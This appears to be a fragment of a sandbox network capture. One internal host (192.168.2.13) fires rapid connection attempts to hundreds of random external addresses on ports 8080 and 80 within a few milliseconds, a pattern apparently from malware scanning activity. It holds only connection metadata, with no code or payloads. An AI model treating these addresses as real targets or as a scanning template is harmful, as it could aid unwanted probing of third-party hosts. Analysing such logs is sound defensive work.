Mar 21, 2024 05:16:56.448613882 CET	45138	8080	192.168.2.13	172.78.24.163
Mar 21, 2024 05:16:56.448616028 CET	45138	8080	192.168.2.13	184.130.70.104
Mar 21, 2024 05:16:56.448616028 CET	45138	8080	192.168.2.13	172.112.138.170
Mar 21, 2024 05:16:56.448645115 CET	45138	8080	192.168.2.13	172.112.60.70
Mar 21, 2024 05:16:56.448648930 CET	45138	8080	192.168.2.13	172.196.183.12
Mar 21, 2024 05:16:56.448659897 CET	45138	8080	192.168.2.13	98.201.15.61
Mar 21, 2024 05:16:56.448662996 CET	45138	8080	192.168.2.13	184.204.189.166
Mar 21, 2024 05:16:56.448677063 CET	45138	8080	192.168.2.13	172.38.195.75
Mar 21, 2024 05:16:56.448679924 CET	45138	8080	192.168.2.13	98.85.52.252
Mar 21, 2024 05:16:56.448681116 CET	45138	8080	192.168.2.13	172.42.105.11
Mar 21, 2024 05:16:56.448697090 CET	45138	8080	192.168.2.13	184.125.245.168
Mar 21, 2024 05:16:56.448698044 CET	45138	8080	192.168.2.13	184.29.209.243
Mar 21, 2024 05:16:56.448702097 CET	45138	8080	192.168.2.13	184.195.9.67
Mar 21, 2024 05:16:56.448713064 CET	45138	8080	192.168.2.13	98.194.33.249
Mar 21, 2024 05:16:56.448749065 CET	45138	8080	192.168.2.13	172.68.241.239
Mar 21, 2024 05:16:56.448757887 CET	45138	8080	192.168.2.13	98.183.92.62
Mar 21, 2024 05:16:56.448776960 CET	45138	8080	192.168.2.13	184.20.156.217
Mar 21, 2024 05:16:56.448803902 CET	45138	8080	192.168.2.13	184.103.150.245
Mar 21, 2024 05:16:56.448806047 CET	45138	8080	192.168.2.13	98.31.109.252
Mar 21, 2024 05:16:56.448812008 CET	45138	8080	192.168.2.13	184.54.206.35
Mar 21, 2024 05:16:56.448812008 CET	45138	8080	192.168.2.13	184.137.17.136
Mar 21, 2024 05:16:56.448834896 CET	45138	8080	192.168.2.13	98.5.185.166
Mar 21, 2024 05:16:56.448834896 CET	45138	8080	192.168.2.13	184.159.169.68
Mar 21, 2024 05:16:56.448843002 CET	45138	8080	192.168.2.13	98.214.8.245
Mar 21, 2024 05:16:56.448853970 CET	45138	8080	192.168.2.13	98.126.250.212
Mar 21, 2024 05:16:56.448879004 CET	45138	8080	192.168.2.13	98.166.75.29
Mar 21, 2024 05:16:56.448879957 CET	45138	8080	192.168.2.13	184.148.57.226
Mar 21, 2024 05:16:56.449248075 CET	45138	8080	192.168.2.13	184.226.97.206
Mar 21, 2024 05:16:56.449249983 CET	45138	8080	192.168.2.13	172.77.225.29
Mar 21, 2024 05:16:56.449260950 CET	45138	8080	192.168.2.13	98.105.221.168
Mar 21, 2024 05:16:56.449266911 CET	45138	8080	192.168.2.13	184.198.112.213
Mar 21, 2024 05:16:56.449266911 CET	45138	8080	192.168.2.13	172.155.108.239
Mar 21, 2024 05:16:56.449270010 CET	45138	8080	192.168.2.13	184.177.52.90
Mar 21, 2024 05:16:56.449270010 CET	45138	8080	192.168.2.13	172.29.204.225
Mar 21, 2024 05:16:56.449270964 CET	45138	8080	192.168.2.13	98.22.203.131
Mar 21, 2024 05:16:56.449270010 CET	45138	8080	192.168.2.13	98.124.136.208
Mar 21, 2024 05:16:56.449270964 CET	45138	8080	192.168.2.13	98.85.174.22
Mar 21, 2024 05:16:56.449274063 CET	45138	8080	192.168.2.13	172.124.211.243
Mar 21, 2024 05:16:56.449290037 CET	45138	8080	192.168.2.13	184.141.121.208
Mar 21, 2024 05:16:56.449306011 CET	45138	8080	192.168.2.13	184.246.83.145
Mar 21, 2024 05:16:56.449310064 CET	45138	8080	192.168.2.13	98.101.41.192
Mar 21, 2024 05:16:56.449326038 CET	45138	8080	192.168.2.13	184.92.120.188
Mar 21, 2024 05:16:56.449337959 CET	45138	8080	192.168.2.13	184.155.125.238
Mar 21, 2024 05:16:56.449347973 CET	45138	8080	192.168.2.13	172.111.171.172
Mar 21, 2024 05:16:56.449347973 CET	45138	8080	192.168.2.13	98.94.135.223
Mar 21, 2024 05:16:56.449357986 CET	45138	8080	192.168.2.13	184.14.84.151
Mar 21, 2024 05:16:56.449368954 CET	45138	8080	192.168.2.13	98.173.126.214
Mar 21, 2024 05:16:56.449381113 CET	45138	8080	192.168.2.13	172.81.150.182
Mar 21, 2024 05:16:56.449383020 CET	45138	8080	192.168.2.13	184.194.233.86
Mar 21, 2024 05:16:56.449393988 CET	45138	8080	192.168.2.13	98.67.142.40
Mar 21, 2024 05:16:56.449395895 CET	45138	8080	192.168.2.13	98.108.175.108
Mar 21, 2024 05:16:56.449409008 CET	45138	8080	192.168.2.13	184.189.241.156
Mar 21, 2024 05:16:56.449421883 CET	45138	8080	192.168.2.13	184.96.199.103
Mar 21, 2024 05:16:56.449454069 CET	45138	8080	192.168.2.13	172.148.202.173
Mar 21, 2024 05:16:56.449467897 CET	45138	8080	192.168.2.13	172.192.174.23
Mar 21, 2024 05:16:56.449471951 CET	45138	8080	192.168.2.13	172.205.107.81
Mar 21, 2024 05:16:56.449480057 CET	45138	8080	192.168.2.13	172.15.66.179
Mar 21, 2024 05:16:56.449484110 CET	45138	8080	192.168.2.13	98.205.165.129
Mar 21, 2024 05:16:56.449486971 CET	45138	8080	192.168.2.13	98.205.103.205
Mar 21, 2024 05:16:56.449491978 CET	45138	8080	192.168.2.13	184.104.158.18
Mar 21, 2024 05:16:56.449505091 CET	45138	8080	192.168.2.13	184.210.220.148
Mar 21, 2024 05:16:56.449505091 CET	45138	8080	192.168.2.13	98.189.34.3
Mar 21, 2024 05:16:56.449506044 CET	45138	8080	192.168.2.13	184.205.173.229
Mar 21, 2024 05:16:56.449506044 CET	45138	8080	192.168.2.13	98.221.194.186
Mar 21, 2024 05:16:56.449520111 CET	45138	8080	192.168.2.13	98.49.117.161
Mar 21, 2024 05:16:56.449522018 CET	45138	8080	192.168.2.13	184.181.186.25
Mar 21, 2024 05:16:56.449520111 CET	45138	8080	192.168.2.13	172.210.85.176
Mar 21, 2024 05:16:56.449520111 CET	45138	8080	192.168.2.13	172.243.215.116
Mar 21, 2024 05:16:56.449532986 CET	45138	8080	192.168.2.13	98.14.244.148
Mar 21, 2024 05:16:56.449534893 CET	45138	8080	192.168.2.13	172.25.227.216
Mar 21, 2024 05:16:56.449542046 CET	45138	8080	192.168.2.13	172.220.33.197
Mar 21, 2024 05:16:56.449542046 CET	45138	8080	192.168.2.13	184.38.237.196
Mar 21, 2024 05:16:56.449542999 CET	45138	8080	192.168.2.13	172.221.149.34
Mar 21, 2024 05:16:56.449557066 CET	45138	8080	192.168.2.13	184.116.115.145
Mar 21, 2024 05:16:56.449564934 CET	45138	8080	192.168.2.13	172.47.37.38
Mar 21, 2024 05:16:56.449574947 CET	45138	8080	192.168.2.13	172.87.26.41
Mar 21, 2024 05:16:56.449575901 CET	45138	8080	192.168.2.13	184.155.6.53
Mar 21, 2024 05:16:56.449584007 CET	45138	8080	192.168.2.13	184.148.64.248
Mar 21, 2024 05:16:56.449589014 CET	45138	8080	192.168.2.13	184.42.37.109
Mar 21, 2024 05:16:56.449601889 CET	45138	8080	192.168.2.13	98.73.197.157
Mar 21, 2024 05:16:56.449610949 CET	45138	8080	192.168.2.13	184.20.181.209
Mar 21, 2024 05:16:56.449611902 CET	45138	8080	192.168.2.13	98.182.40.221
Mar 21, 2024 05:16:56.449611902 CET	45138	8080	192.168.2.13	172.21.189.106
Mar 21, 2024 05:16:56.449628115 CET	45138	8080	192.168.2.13	184.201.58.77
Mar 21, 2024 05:16:56.449630976 CET	45138	8080	192.168.2.13	184.28.36.95
Mar 21, 2024 05:16:56.449659109 CET	45138	8080	192.168.2.13	184.213.81.192
Mar 21, 2024 05:16:56.449659109 CET	45138	8080	192.168.2.13	98.177.243.203
Mar 21, 2024 05:16:56.449683905 CET	45138	8080	192.168.2.13	172.36.61.94
Mar 21, 2024 05:16:56.449690104 CET	45138	8080	192.168.2.13	184.15.231.138
Mar 21, 2024 05:16:56.449690104 CET	45138	8080	192.168.2.13	98.39.85.208
Mar 21, 2024 05:16:56.449692965 CET	45138	8080	192.168.2.13	172.140.35.33
Mar 21, 2024 05:16:56.449695110 CET	45138	8080	192.168.2.13	172.183.214.114
Mar 21, 2024 05:16:56.449696064 CET	45138	8080	192.168.2.13	184.17.33.119
Mar 21, 2024 05:16:56.449701071 CET	45138	8080	192.168.2.13	172.186.254.58
Mar 21, 2024 05:16:56.449701071 CET	45138	8080	192.168.2.13	98.2.41.26
Mar 21, 2024 05:16:56.449718952 CET	45138	8080	192.168.2.13	184.113.44.69
Mar 21, 2024 05:16:56.449722052 CET	45138	8080	192.168.2.13	184.41.61.41
Mar 21, 2024 05:16:56.449723005 CET	45138	8080	192.168.2.13	184.58.195.129
Mar 21, 2024 05:16:56.449736118 CET	45138	8080	192.168.2.13	172.197.21.225
Mar 21, 2024 05:16:56.449738979 CET	45138	8080	192.168.2.13	172.54.229.53
Mar 21, 2024 05:16:56.449740887 CET	45138	8080	192.168.2.13	184.128.110.231
Mar 21, 2024 05:16:56.449759960 CET	45138	8080	192.168.2.13	98.221.245.163
Mar 21, 2024 05:16:56.449762106 CET	45138	8080	192.168.2.13	184.32.217.250
Mar 21, 2024 05:16:56.449763060 CET	45138	8080	192.168.2.13	98.222.80.243
Mar 21, 2024 05:16:56.449763060 CET	45138	8080	192.168.2.13	98.139.122.92
Mar 21, 2024 05:16:56.449774981 CET	45138	8080	192.168.2.13	184.200.164.156
Mar 21, 2024 05:16:56.449774981 CET	45138	8080	192.168.2.13	172.43.154.228
Mar 21, 2024 05:16:56.449783087 CET	45138	8080	192.168.2.13	98.208.14.47
Mar 21, 2024 05:16:56.449786901 CET	45138	8080	192.168.2.13	98.46.93.73
Mar 21, 2024 05:16:56.449798107 CET	45138	8080	192.168.2.13	98.131.57.144
Mar 21, 2024 05:16:56.449798107 CET	45138	8080	192.168.2.13	172.108.156.50
Mar 21, 2024 05:16:56.449822903 CET	45138	8080	192.168.2.13	184.134.33.98
Mar 21, 2024 05:16:56.449822903 CET	45138	8080	192.168.2.13	172.32.188.253
Mar 21, 2024 05:16:56.449825048 CET	45138	8080	192.168.2.13	98.32.1.212
Mar 21, 2024 05:16:56.449834108 CET	45138	8080	192.168.2.13	184.35.54.90
Mar 21, 2024 05:16:56.449840069 CET	45138	8080	192.168.2.13	98.183.77.41
Mar 21, 2024 05:16:56.449840069 CET	45138	8080	192.168.2.13	172.122.199.38
Mar 21, 2024 05:16:56.449856043 CET	45138	8080	192.168.2.13	172.1.14.40
Mar 21, 2024 05:16:56.449872971 CET	45138	8080	192.168.2.13	184.158.107.179
Mar 21, 2024 05:16:56.449882984 CET	45138	8080	192.168.2.13	184.103.6.10
Mar 21, 2024 05:16:56.449882984 CET	45138	8080	192.168.2.13	172.209.100.14
Mar 21, 2024 05:16:56.449883938 CET	45138	8080	192.168.2.13	98.27.29.16
Mar 21, 2024 05:16:56.449883938 CET	45138	8080	192.168.2.13	184.35.42.44
Mar 21, 2024 05:16:56.449883938 CET	45138	8080	192.168.2.13	184.50.92.186
Mar 21, 2024 05:16:56.449883938 CET	45138	8080	192.168.2.13	172.75.115.45
Mar 21, 2024 05:16:56.449892998 CET	45138	8080	192.168.2.13	172.251.235.149
Mar 21, 2024 05:16:56.449898958 CET	45138	8080	192.168.2.13	172.99.122.137
Mar 21, 2024 05:16:56.449914932 CET	45138	8080	192.168.2.13	184.194.81.174
Mar 21, 2024 05:16:56.449920893 CET	45138	8080	192.168.2.13	172.1.169.197
Mar 21, 2024 05:16:56.450820923 CET	45394	80	192.168.2.13	213.251.31.50
Mar 21, 2024 05:16:56.450901031 CET	45394	80	192.168.2.13	213.165.167.50
Mar 21, 2024 05:16:56.450902939 CET	45394	80	192.168.2.13	213.184.234.117
Mar 21, 2024 05:16:56.450913906 CET	45394	80	192.168.2.13	213.195.49.48
Mar 21, 2024 05:16:56.450941086 CET	45394	80	192.168.2.13	213.231.220.158
Mar 21, 2024 05:16:56.450967073 CET	45394	80	192.168.2.13	213.164.120.154
Mar 21, 2024 05:16:56.450968027 CET	45394	80	192.168.2.13	213.177.45.248
Mar 21, 2024 05:16:56.450968027 CET	45394	80	192.168.2.13	213.246.141.238
Mar 21, 2024 05:16:56.450997114 CET	45394	80	192.168.2.13	213.167.94.131
Mar 21, 2024 05:16:56.450997114 CET	45394	80	192.168.2.13	213.4.140.41
Mar 21, 2024 05:16:56.451014042 CET	45394	80	192.168.2.13	213.105.10.91
Mar 21, 2024 05:16:56.451024055 CET	45394	80	192.168.2.13	213.116.54.66
Mar 21, 2024 05:16:56.451044083 CET	45394	80	192.168.2.13	213.129.246.140
Mar 21, 2024 05:16:56.451067924 CET	45394	80	192.168.2.13	213.71.60.203
Mar 21, 2024 05:16:56.451072931 CET	45394	80	192.168.2.13	213.35.176.164
Mar 21, 2024 05:16:56.451072931 CET	45394	80	192.168.2.13	213.117.176.115
Mar 21, 2024 05:16:56.451098919 CET	45394	80	192.168.2.13	213.216.29.98
Mar 21, 2024 05:16:56.451098919 CET	45394	80	192.168.2.13	213.87.179.61
Mar 21, 2024 05:16:56.451134920 CET	45394	80	192.168.2.13	213.233.41.74
Mar 21, 2024 05:16:56.451134920 CET	45394	80	192.168.2.13	213.19.20.203
Mar 21, 2024 05:16:56.451147079 CET	45394	80	192.168.2.13	213.16.105.208
Mar 21, 2024 05:16:56.451167107 CET	45394	80	192.168.2.13	213.116.14.23
Mar 21, 2024 05:16:56.451183081 CET	45394	80	192.168.2.13	213.112.25.1
Mar 21, 2024 05:16:56.451200008 CET	45394	80	192.168.2.13	213.245.173.86
Mar 21, 2024 05:16:56.451214075 CET	45394	80	192.168.2.13	213.193.90.76
Mar 21, 2024 05:16:56.451215029 CET	45394	80	192.168.2.13	213.204.67.69
Mar 21, 2024 05:16:56.451246977 CET	45394	80	192.168.2.13	213.44.72.6
Mar 21, 2024 05:16:56.451250076 CET	45394	80	192.168.2.13	213.230.81.234
Mar 21, 2024 05:16:56.451267958 CET	45394	80	192.168.2.13	213.28.5.31
Mar 21, 2024 05:16:56.451316118 CET	45394	80	192.168.2.13	213.208.218.241
Mar 21, 2024 05:16:56.451319933 CET	45394	80	192.168.2.13	213.59.71.146
Mar 21, 2024 05:16:56.451319933 CET	45394	80	192.168.2.13	213.4.174.130
Mar 21, 2024 05:16:56.451334953 CET	45394	80	192.168.2.13	213.238.60.121
Mar 21, 2024 05:16:56.451344013 CET	45394	80	192.168.2.13	213.246.69.84
Mar 21, 2024 05:16:56.451359987 CET	45394	80	192.168.2.13	213.50.88.92
Mar 21, 2024 05:16:56.451373100 CET	45394	80	192.168.2.13	213.31.102.132
Mar 21, 2024 05:16:56.451380968 CET	45394	80	192.168.2.13	213.255.91.172
Mar 21, 2024 05:16:56.451397896 CET	45394	80	192.168.2.13	213.75.15.186
Mar 21, 2024 05:16:56.451407909 CET	45394	80	192.168.2.13	213.159.8.133
Mar 21, 2024 05:16:56.451427937 CET	45394	80	192.168.2.13	213.236.68.102
Mar 21, 2024 05:16:56.451467991 CET	45394	80	192.168.2.13	213.101.244.187
Mar 21, 2024 05:16:56.451471090 CET	45394	80	192.168.2.13	213.41.31.219
Mar 21, 2024 05:16:56.451471090 CET	45394	80	192.168.2.13	213.110.162.179
Mar 21, 2024 05:16:56.451487064 CET	45394	80	192.168.2.13	213.63.53.255
Mar 21, 2024 05:16:56.451498985 CET	45394	80	192.168.2.13	213.83.172.253
Mar 21, 2024 05:16:56.451513052 CET	45394	80	192.168.2.13	213.65.252.73
Mar 21, 2024 05:16:56.451535940 CET	45394	80	192.168.2.13	213.155.69.96
Mar 21, 2024 05:16:56.451554060 CET	45394	80	192.168.2.13	213.248.217.242
Mar 21, 2024 05:16:56.451565027 CET	45394	80	192.168.2.13	213.190.179.7
Mar 21, 2024 05:16:56.451575041 CET	45394	80	192.168.2.13	213.5.137.125
Mar 21, 2024 05:16:56.451596022 CET	45394	80	192.168.2.13	213.23.163.185
Mar 21, 2024 05:16:56.451617956 CET	45394	80	192.168.2.13	213.219.210.128
Mar 21, 2024 05:16:56.451632023 CET	45394	80	192.168.2.13	213.170.144.220
Mar 21, 2024 05:16:56.451654911 CET	45394	80	192.168.2.13	213.122.129.87
Mar 21, 2024 05:16:56.451656103 CET	45394	80	192.168.2.13	213.101.23.8
Mar 21, 2024 05:16:56.451709032 CET	45394	80	192.168.2.13	213.18.116.208
Mar 21, 2024 05:16:56.451709032 CET	45394	80	192.168.2.13	213.29.187.108
Mar 21, 2024 05:16:56.451719046 CET	45394	80	192.168.2.13	213.97.84.101
Mar 21, 2024 05:16:56.451736927 CET	45394	80	192.168.2.13	213.189.5.189
Mar 21, 2024 05:16:56.451809883 CET	45394	80	192.168.2.13	213.39.227.103
Mar 21, 2024 05:16:56.451822042 CET	45394	80	192.168.2.13	213.235.179.255
Mar 21, 2024 05:16:56.451842070 CET	45394	80	192.168.2.13	213.118.244.241
Mar 21, 2024 05:16:56.451853991 CET	45394	80	192.168.2.13	213.148.217.128
Mar 21, 2024 05:16:56.451867104 CET	45394	80	192.168.2.13	213.212.131.223
Mar 21, 2024 05:16:56.451885939 CET	45394	80	192.168.2.13	213.128.23.197
Mar 21, 2024 05:16:56.451900959 CET	45394	80	192.168.2.13	213.154.188.51
Mar 21, 2024 05:16:56.451919079 CET	45394	80	192.168.2.13	213.22.15.227
Mar 21, 2024 05:16:56.451925993 CET	45394	80	192.168.2.13	213.170.55.54
Mar 21, 2024 05:16:56.451941967 CET	45394	80	192.168.2.13	213.26.178.53
Mar 21, 2024 05:16:56.451957941 CET	45394	80	192.168.2.13	213.124.212.23
Mar 21, 2024 05:16:56.451976061 CET	45394	80	192.168.2.13	213.56.232.176
Mar 21, 2024 05:16:56.451994896 CET	45394	80	192.168.2.13	213.191.152.122
Mar 21, 2024 05:16:56.452012062 CET	45394	80	192.168.2.13	213.2.20.196
Mar 21, 2024 05:16:56.452064037 CET	45394	80	192.168.2.13	213.146.111.71
Mar 21, 2024 05:16:56.452064991 CET	45394	80	192.168.2.13	213.221.187.73
Mar 21, 2024 05:16:56.452068090 CET	45394	80	192.168.2.13	213.156.96.20
Mar 21, 2024 05:16:56.452081919 CET	45394	80	192.168.2.13	213.60.249.120
Mar 21, 2024 05:16:56.452096939 CET	45394	80	192.168.2.13	213.224.38.98
Mar 21, 2024 05:16:56.452117920 CET	45394	80	192.168.2.13	213.228.200.203
Mar 21, 2024 05:16:56.452117920 CET	45394	80	192.168.2.13	213.180.94.87
Mar 21, 2024 05:16:56.452140093 CET	45394	80	192.168.2.13	213.82.88.113
Mar 21, 2024 05:16:56.452145100 CET	45394	80	192.168.2.13	213.204.213.129
Mar 21, 2024 05:16:56.452157974 CET	45394	80	192.168.2.13	213.252.122.240
Mar 21, 2024 05:16:56.452187061 CET	45394	80	192.168.2.13	213.228.32.156
Mar 21, 2024 05:16:56.452191114 CET	45394	80	192.168.2.13	213.168.215.94
Mar 21, 2024 05:16:56.452234983 CET	45394	80	192.168.2.13	213.86.193.219
Mar 21, 2024 05:16:56.452235937 CET	45394	80	192.168.2.13	213.127.62.41
Mar 21, 2024 05:16:56.452236891 CET	45394	80	192.168.2.13	213.12.203.170
Mar 21, 2024 05:16:56.452250004 CET	45394	80	192.168.2.13	213.103.248.232
Mar 21, 2024 05:16:56.452301979 CET	45394	80	192.168.2.13	213.100.91.64
Mar 21, 2024 05:16:56.452306032 CET	45394	80	192.168.2.13	213.182.168.30
Mar 21, 2024 05:16:56.452306986 CET	45394	80	192.168.2.13	213.11.83.62
Mar 21, 2024 05:16:56.452307940 CET	45394	80	192.168.2.13	213.70.96.215
Mar 21, 2024 05:16:56.452320099 CET	45394	80	192.168.2.13	213.163.154.133
Mar 21, 2024 05:16:56.452338934 CET	45394	80	192.168.2.13	213.119.223.106
Mar 21, 2024 05:16:56.452384949 CET	45394	80	192.168.2.13	213.253.63.93
Mar 21, 2024 05:16:56.452387094 CET	45394	80	192.168.2.13	213.93.49.49
Mar 21, 2024 05:16:56.452389956 CET	45394	80	192.168.2.13	213.182.128.179
Mar 21, 2024 05:16:56.452405930 CET	45394	80	192.168.2.13	213.104.9.112
Mar 21, 2024 05:16:56.452459097 CET	45394	80	192.168.2.13	213.199.125.84
Mar 21, 2024 05:16:56.452459097 CET	45394	80	192.168.2.13	213.249.0.193
Mar 21, 2024 05:16:56.452459097 CET	45394	80	192.168.2.13	213.8.119.118
Mar 21, 2024 05:16:56.452471018 CET	45394	80	192.168.2.13	213.164.99.205
Mar 21, 2024 05:16:56.452482939 CET	45394	80	192.168.2.13	213.4.199.83
Mar 21, 2024 05:16:56.452498913 CET	45394	80	192.168.2.13	213.250.130.85
Mar 21, 2024 05:16:56.452522993 CET	45394	80	192.168.2.13	213.120.196.11
Mar 21, 2024 05:16:56.452522993 CET	45394	80	192.168.2.13	213.148.160.69
Mar 21, 2024 05:16:56.452543974 CET	45394	80	192.168.2.13	213.235.216.65
Mar 21, 2024 05:16:56.452555895 CET	45394	80	192.168.2.13	213.97.15.132
Mar 21, 2024 05:16:56.452570915 CET	45394	80	192.168.2.13	213.180.226.228
Mar 21, 2024 05:16:56.452583075 CET	45394	80	192.168.2.13	213.215.79.152
Mar 21, 2024 05:16:56.452606916 CET	45394	80	192.168.2.13	213.75.145.4
Mar 21, 2024 05:16:56.452630997 CET	45394	80	192.168.2.13	213.38.193.48
Mar 21, 2024 05:16:56.452632904 CET	45394	80	192.168.2.13	213.87.34.7
Mar 21, 2024 05:16:56.452636003 CET	45394	80	192.168.2.13	213.180.56.102
Mar 21, 2024 05:16:56.452651978 CET	45394	80	192.168.2.13	213.86.243.80
Mar 21, 2024 05:16:56.452667952 CET	45394	80	192.168.2.13	213.32.221.247
Mar 21, 2024 05:16:56.452687979 CET	45394	80	192.168.2.13	213.202.10.134
Mar 21, 2024 05:16:56.452693939 CET	45394	80	192.168.2.13	213.241.166.230
Mar 21, 2024 05:16:56.452721119 CET	45394	80	192.168.2.13	213.168.11.116
Mar 21, 2024 05:16:56.452725887 CET	45394	80	192.168.2.13	213.251.88.108
Mar 21, 2024 05:16:56.452752113 CET	45394	80	192.168.2.13	213.39.180.221
Mar 21, 2024 05:16:56.452752113 CET	45394	80	192.168.2.13	213.64.38.216
Mar 21, 2024 05:16:56.452769041 CET	45394	80	192.168.2.13	213.173.211.229
Mar 21, 2024 05:16:56.452774048 CET	45394	80	192.168.2.13	213.156.100.5
Mar 21, 2024 05:16:56.452799082 CET	45394	80	192.168.2.13	213.236.245.82
Mar 21, 2024 05:16:56.452805042 CET	45394	80	192.168.2.13	213.33.237.193
Mar 21, 2024 05:16:56.452822924 CET	45394	80	192.168.2.13	213.119.90.62
Mar 21, 2024 05:16:56.452847004 CET	45394	80	192.168.2.13	213.224.125.253
Mar 21, 2024 05:16:56.452847958 CET	45394	80	192.168.2.13	213.235.1.1
Mar 21, 2024 05:16:56.452867031 CET	45394	80	192.168.2.13	213.219.216.91
Mar 21, 2024 05:16:56.452868938 CET	45394	80	192.168.2.13	213.1.189.235
Mar 21, 2024 05:16:56.452898979 CET	45394	80	192.168.2.13	213.200.155.105
Mar 21, 2024 05:16:56.452927113 CET	45394	80	192.168.2.13	213.82.136.122
Mar 21, 2024 05:16:56.452939034 CET	45394	80	192.168.2.13	213.179.36.233
Mar 21, 2024 05:16:56.452941895 CET	45394	80	192.168.2.13	213.230.204.15
Mar 21, 2024 05:16:56.452969074 CET	45394	80	192.168.2.13	213.23.12.18
Mar 21, 2024 05:16:56.452969074 CET	45394	80	192.168.2.13	213.100.198.225
Mar 21, 2024 05:16:56.452989101 CET	45394	80	192.168.2.13	213.235.36.242
Mar 21, 2024 05:16:56.452996969 CET	45394	80	192.168.2.13	213.212.200.144
Mar 21, 2024 05:16:56.453020096 CET	45394	80	192.168.2.13	213.73.17.237
Mar 21, 2024 05:16:56.453035116 CET	45394	80	192.168.2.13	213.111.130.158
Mar 21, 2024 05:16:56.453047991 CET	45394	80	192.168.2.13	213.30.117.55
Mar 21, 2024 05:16:56.453053951 CET	45394	80	192.168.2.13	213.50.198.16
Mar 21, 2024 05:16:56.453089952 CET	45394	80	192.168.2.13	213.231.189.165
Mar 21, 2024 05:16:56.453093052 CET	45394	80	192.168.2.13	213.242.77.140
Mar 21, 2024 05:16:56.453099966 CET	45394	80	192.168.2.13	213.232.254.233
Mar 21, 2024 05:16:56.453111887 CET	45394	80	192.168.2.13	213.194.159.116
Mar 21, 2024 05:16:56.453123093 CET	45394	80	192.168.2.13	213.243.85.116
Mar 21, 2024 05:16:56.453147888 CET	45394	80	192.168.2.13	213.23.145.74
Mar 21, 2024 05:16:56.453151941 CET	45394	80	192.168.2.13	213.176.240.127
Mar 21, 2024 05:16:56.453176022 CET	45394	80	192.168.2.13	213.245.59.232
Mar 21, 2024 05:16:56.453181982 CET	45394	80	192.168.2.13	213.215.84.165
Mar 21, 2024 05:16:56.453210115 CET	45394	80	192.168.2.13	213.174.62.48
Mar 21, 2024 05:16:56.453232050 CET	45394	80	192.168.2.13	213.48.194.152
Mar 21, 2024 05:16:56.453259945 CET	45394	80	192.168.2.13	213.242.2.150
Mar 21, 2024 05:16:56.453260899 CET	45394	80	192.168.2.13	213.212.92.196
Mar 21, 2024 05:16:56.453318119 CET	45394	80	192.168.2.13	213.233.21.97
Mar 21, 2024 05:16:56.453321934 CET	45394	80	192.168.2.13	213.32.222.84
Mar 21, 2024 05:16:56.453342915 CET	45394	80	192.168.2.13	213.112.253.125
Mar 21, 2024 05:16:56.453357935 CET	45394	80	192.168.2.13	213.237.67.120
Mar 21, 2024 05:16:56.453357935 CET	45394	80	192.168.2.13	213.136.248.97
Mar 21, 2024 05:16:56.453397036 CET	45394	80	192.168.2.13	213.165.55.80
Mar 21, 2024 05:16:56.453409910 CET	45394	80	192.168.2.13	213.30.193.101
Mar 21, 2024 05:16:56.453430891 CET	45394	80	192.168.2.13	213.75.241.178
Mar 21, 2024 05:16:56.453438997 CET	45394	80	192.168.2.13	213.211.220.84
Mar 21, 2024 05:16:56.453453064 CET	45394	80	192.168.2.13	213.200.131.235
Mar 21, 2024 05:16:56.453453064 CET	45394	80	192.168.2.13	213.201.101.184
Mar 21, 2024 05:16:56.453474998 CET	45394	80	192.168.2.13	213.171.12.25
Mar 21, 2024 05:16:56.453474998 CET	45394	80	192.168.2.13	213.159.254.191
Mar 21, 2024 05:16:56.453474998 CET	45394	80	192.168.2.13	213.50.21.40
Mar 21, 2024 05:16:56.453474998 CET	45394	80	192.168.2.13	213.134.100.222
Mar 21, 2024 05:16:56.453485966 CET	45394	80	192.168.2.13	213.77.200.55
Mar 21, 2024 05:16:56.453502893 CET	45394	80	192.168.2.13	213.98.252.10
Mar 21, 2024 05:16:56.453530073 CET	45394	80	192.168.2.13	213.114.37.5
Mar 21, 2024 05:16:56.453538895 CET	45394	80	192.168.2.13	213.15.112.6
Mar 21, 2024 05:16:56.453553915 CET	45394	80	192.168.2.13	213.96.9.196
Mar 21, 2024 05:16:56.453576088 CET	45394	80	192.168.2.13	213.43.64.211
Mar 21, 2024 05:16:56.453576088 CET	45394	80	192.168.2.13	213.153.73.75
Mar 21, 2024 05:16:56.453582048 CET	45394	80	192.168.2.13	213.154.65.98
Mar 21, 2024 05:16:56.453608036 CET	45394	80	192.168.2.13	213.43.255.226
Mar 21, 2024 05:16:56.453608036 CET	45394	80	192.168.2.13	213.148.182.31
Mar 21, 2024 05:16:56.453608036 CET	45394	80	192.168.2.13	213.198.88.184
Mar 21, 2024 05:16:56.453618050 CET	45394	80	192.168.2.13	213.10.200.199
Mar 21, 2024 05:16:56.453619003 CET	45394	80	192.168.2.13	213.74.196.6
Mar 21, 2024 05:16:56.453654051 CET	45394	80	192.168.2.13	213.31.36.204
Mar 21, 2024 05:16:56.453660011 CET	45394	80	192.168.2.13	213.139.25.28
Mar 21, 2024 05:16:56.453665018 CET	45394	80	192.168.2.13	213.58.145.175
Mar 21, 2024 05:16:56.453672886 CET	45394	80	192.168.2.13	213.30.121.104
Mar 21, 2024 05:16:56.453680038 CET	45394	80	192.168.2.13	213.124.144.111
Mar 21, 2024 05:16:56.453686953 CET	45394	80	192.168.2.13	213.153.81.17
Mar 21, 2024 05:16:56.453725100 CET	45394	80	192.168.2.13	213.98.225.68
Mar 21, 2024 05:16:56.453727961 CET	45394	80	192.168.2.13	213.124.181.67
Mar 21, 2024 05:16:56.453802109 CET	45394	80	192.168.2.13	213.70.157.245
Mar 21, 2024 05:16:56.453809023 CET	45394	80	192.168.2.13	213.236.125.91
Mar 21, 2024 05:16:56.453809023 CET	45394	80	192.168.2.13	213.128.92.163
Mar 21, 2024 05:16:56.453815937 CET	45394	80	192.168.2.13	213.66.0.72
Mar 21, 2024 05:16:56.453818083 CET	45394	80	192.168.2.13	213.159.224.239
Mar 21, 2024 05:16:56.453820944 CET	45394	80	192.168.2.13	213.50.153.204
Mar 21, 2024 05:16:56.453820944 CET	45394	80	192.168.2.13	213.222.124.79
Mar 21, 2024 05:16:56.454009056 CET	45138	8080	192.168.2.13	184.99.16.205
Mar 21, 2024 05:16:56.454018116 CET	45138	8080	192.168.2.13	184.133.243.253
Mar 21, 2024 05:16:56.454018116 CET	45138	8080	192.168.2.13	184.154.251.142
Mar 21, 2024 05:16:56.454018116 CET	45138	8080	192.168.2.13	184.64.254.58
Mar 21, 2024 05:16:56.454029083 CET	45138	8080	192.168.2.13	184.211.102.195
Mar 21, 2024 05:16:56.454029083 CET	45138	8080	192.168.2.13	172.200.44.124
Mar 21, 2024 05:16:56.454032898 CET	45394	80	192.168.2.13	213.6.39.87
Mar 21, 2024 05:16:56.454035997 CET	45138	8080	192.168.2.13	98.64.27.165
